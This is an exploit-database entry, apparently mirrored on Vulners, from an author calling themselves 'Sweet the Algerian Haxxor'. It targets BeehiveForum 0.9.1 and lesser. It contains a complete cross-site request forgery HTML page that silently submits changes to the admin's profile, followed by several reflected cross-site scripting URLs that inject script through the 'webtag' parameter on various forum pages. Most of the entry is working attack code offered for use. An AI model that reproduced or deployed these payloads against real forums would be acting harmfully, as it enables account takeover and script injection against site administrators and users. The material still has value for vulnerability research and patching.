Vulners
Lucene search
BeehiveForum 0.9.1 Cross Site Request Forgery / Cross Site Scripting
`
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 Sweet the Algerian Haxxor 0
1 ###################################### 0
0 1
1 [+]Exploit Title: BeehiveForum 0.9.1 Multiple Vulnerabilities 0
0 [+]Date: 7/08/2010 1
1 [+]Author: Sweet 0
0 [+]Contact : [email protected] 0
1 [+]Software Link: http://beehiveforum.sourceforge.net 0
0 [+]Download: http://sourceforge.net/projects/beehiveforum/files/ 1
1 [+]Version: 0.9.1 and lesser 0
0 [+]Tested on: WinXp sp3 1
1 [+]Risk : Midium 0
0 [+]Description : Just another Cms 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
------|CSRF wish will allow you to change admin profile|---------------------
<html>
<head>
<title>BehiveForum CSRF</title>
</head>
</body>
<p><b>Changing admin profile by sweet<b></p>
<form method="POST" name="form0" action="http://www.target.com/forum/edit_profile.php">
<!-- The webtag value most be dynamic -->
<input type="hidden" name="webtag" value="TEST"/>
<!-- Edit here --->
<input type="hidden" name="t_entry[1]" value="hello"/>
<input type="hidden" name="t_entry_private[1]" value="Y"/>
<input type="hidden" name="t_entry[2]" value="0"/>
<input type="hidden" name="t_entry_private[2]" value="Y"/>
<input type="hidden" name="t_entry[3]" value="hello"/>
<input type="hidden" name="t_entry_private[3]" value="Y"/>
<input type="hidden" name="t_entry[4]" value="hello"/>
<input type="hidden" name="t_entry_private[4]" value="Y"/>
<input type="submit" name="save" value="Save"/>
</form>
<!-- Dont edit here -->
<form method="GET" name="form1" action="http://www.target.com:80/forum/edit_profile.php?webtag=TEST&uid=1&profile_updated=true">
<input type="hidden" name="name" value="value"/>
</form>
<form method="GET" name="form2" action="http://www.target.com:80/forum/emoticons/default/style.css?20040908155530">
<input type="hidden" name="name" value="value"/>
</form>
<form method="GET" name="form3" action="http://www.target.com:80/forum/styles/Default/style.css?20090618200138">
<input type="hidden" name="name" value="value"/>
</form>
<form method="GET" name="form4" action="http://www.target.com:80/forum/js/general.js?20081020172810">
<input type="hidden" name="name" value="value"/>
</form>
<form method="GET" name="form5" action="http://www.target.com:80/forum/js/xml_http.js?20090416183534">
<input type="hidden" name="name" value="value"/>
</form>
<form method="GET" name="form6" action="http://www.target.com:80/forum/js/pm.js?20090416183534">
<input type="hidden" name="name" value="value"/>
</form>
<form method="GET" name="form7" action="http://www.target.com:80/forum/pm.php?webtag=TEST&check_messages=true×tamp=1283872317459">
<input type="hidden" name="name" value="value"/>
</form>
</body>
</html>
----------|XSS|---------------
every time the "?webtag" is called there is XSS
http://www.target.com/forum/?webtag=1>"><ScRiPt>alert("Sweet")</ScRiPt>&msg=3.1
http://www.target.com/forum/admin.php?webtag=1>"><ScRipt>alert("Sweet")</ScRiPt>
http://www.target.com/forum/index.php?webtag=1>"><ScRiPt>alert("sweet")</ScRiPt>&final_uri=register.php?webtag=TEST
http://www.target.com/forum/logon.php?webtag=1>"><ScRiPt>alert("sweet")</ScRiPt>
http://www.target.com/forum/pm.php?webtag=1>"><ScRiPt>alert("sweet")</ScRiPt>
http://www.target.com/forum/post.php?webtag=1>"><ScRiPt>alert("sweet")</ScRiPt>
thx to Milw0rm.com , JF - Hamst0r - Keystroke , inj3ct0r.com , SeeMe
Saha Ftourkoum et 1,2,3 viva L'Algerie :))
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Sep 2010 00:00Current